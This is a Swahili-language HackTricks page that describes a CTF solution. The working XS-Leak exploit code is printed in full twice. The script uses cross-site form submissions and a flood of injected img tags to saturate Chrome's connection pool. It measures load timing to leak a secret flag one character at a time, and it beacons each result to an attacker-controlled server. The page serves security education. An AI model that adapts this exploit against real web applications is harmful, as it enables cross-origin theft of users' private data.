Connection Pool by Destination Example

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Katika exploit hii, @terjanq anapendekeza suluhisho lingine kwa changamoto iliyotajwa kwenye ukurasa ufuatao:

Connection Pool by Destination Example

Hebu tuone jinsi exploit hii inavyofanya kazi:

Mshambuliaji ataingiza noti yenye <img tags nyingi zinazo pakia /js/purify.js kadri iwezekanavyo (zaidi ya 6 ili kuzuia chanzo).
Kisha, mshambuliaji ata ondoa noti yenye index 1.
Kisha, mshambuliaji ata [fanya bot ipate ukurasa na noti iliyobaki] na atatuma ombio kwa victim.com/js/purify.js ambayo atai pima.
Ikiwa muda ni mrefu, injection ilikuwa kwenye noti iliyobaki, ikiwa muda ni mfupi, bendera ilikuwa hapo.

Kwa kweli, nikisoma script nilikosa sehemu ambapo mshambuliaji anafanya bot ipakue ukurasa ili kuamsha img tags, sioni chochote kama hicho kwenye msimbo

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

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Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
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PreviousConnection Pool Examples NextCookie Bomb + Onerror XS Leak

Last updated 6 days ago

<html> <head> <script> const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } }; </script> </head> <body> </body> </html>